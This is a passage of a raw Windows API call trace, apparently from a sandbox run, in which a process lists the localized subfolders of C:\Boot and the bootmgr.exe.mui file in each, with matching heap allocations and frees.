lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.759] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0073.759] GetProcessHeap () returned 0x470000 [0073.759] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.760] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.760] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.760] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.760] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.760] GetProcessHeap () returned 0x470000 [0073.760] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.760] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0073.760] GetProcessHeap () returned 0x470000 [0073.760] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930c0 [0073.760] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.760] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.760] FindNextFileW (in: hFindFile=0x4930c0, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.760] FindClose (in: hFindFile=0x4930c0 | out: hFindFile=0x4930c0) returned 1 [0073.761] GetProcessHeap () returned 0x470000 [0073.761] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0073.761] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0073.761] GetProcessHeap () returned 0x470000 [0073.761] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0073.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e58 [0076.349] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.349] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.349] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.349] FindClose (in: hFindFile=0x491e58 | out: hFindFile=0x491e58) returned 1 [0076.349] GetProcessHeap () returned 0x470000 [0076.349] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0076.349] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0076.349] GetProcessHeap () returned 0x470000 [0076.349] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0076.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e58 [0076.349] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.349] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.349] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.350] FindClose (in: hFindFile=0x491e58 | out: hFindFile=0x491e58) returned 1 [0076.350] GetProcessHeap () returned 0x470000 [0076.350] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0076.350] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0076.350] GetProcessHeap () returned 0x470000 [0076.350] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0076.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e58 [0076.350] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.350] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.350] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.350] FindClose (in: hFindFile=0x491e58 | out: hFindFile=0x491e58) returned 1 [0076.350] GetProcessHeap () returned 0x470000 [0076.350] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0076.350] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0076.350] GetProcessHeap () returned 0x470000 [0076.350] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0076.350] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\sv-SE\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e58 [0076.351] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.351] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.351] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.351] FindClose (in: hFindFile=0x491e58 | out: hFindFile=0x491e58) returned 1 [0076.351] GetProcessHeap () returned 0x470000 [0076.351] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0076.351] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0076.351] GetProcessHeap () returned 0x470000 [0076.351] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0076.351] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\tr-TR\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e58 [0076.351] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.351] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.351] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.351] FindClose (in: hFindFile=0x491e58 | out: hFindFile=0x491e58) returned 1 [0076.352] GetProcessHeap () returned 0x470000 [0076.352] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0076.352] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0076.352] GetProcessHeap () returned 0x470000 [0076.352] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x528bb0 [0076.352] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-CN\\*", lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e58 [0076.352] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.352] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.352] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.352] FindClose (in: hFindFile=0x491e58 | out: hFindFile=0x491e58) returned 1 [0076.352] GetProcessHeap () returned 0x470000 [0076.352] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x528bb0 | out: hHeap=0x470000) returned 1 [0076.352] FindNextFileW (in: hFindFile=0x493080, lpFindFileData=0x2d2f320 | out: lpFindFileData=0x2d2f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0076.352] 